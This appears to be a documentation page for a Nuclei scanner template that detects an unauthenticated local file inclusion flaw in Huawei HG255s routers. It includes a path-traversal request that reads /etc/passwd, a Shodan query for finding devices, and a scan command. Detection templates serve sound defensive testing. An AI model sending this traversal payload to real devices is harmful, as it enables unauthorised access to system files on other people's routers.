Skip to content

Huawei HG255s - Local File Inclusion

ID: huawei-hg255s-lfi

Severity: high

Author: 0x_Akoko

Tags: huawei,lfi,router

Huawei HG255s is vulnerable to local file inclusion due to insufficient validation of the received HTTP requests. A remote attacker may access the local files on the device without authentication.

id: huawei-hg255s-lfi
info:
name: Huawei HG255s - Local File Inclusion
author: 0x_Akoko
severity: high
description: Huawei HG255s is vulnerable to local file inclusion due to insufficient validation of the received HTTP requests. A remote attacker may access the local files on the device without authentication.
reference:
- https://cxsecurity.com/issue/WLB-2017090053
- https://www.youtube.com/watch?v=n02toTFkLOU
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
cpe: cpe:2.3:h:huawei:hg255s:*:*:*:*:*:*:*:*
metadata:
max-request: 1
shodan-query: http.html:"HG532e"
product: hg255s
vendor: huawei
tags: huawei,lfi,router
http:
- method: GET
path:
- "{{BaseURL}}/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4b0a00483046022100efc638e5bb9975a4c2ce837b6b9df4fc07f299adf1fa64cd9b5c39990465efcb0221008fe8d176d6d4ce7ae730875e0e3dee49104bcdc16f3a2024bb62a7a1015c4948:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/huawei/huawei-hg255s-lfi.yaml"

View on Github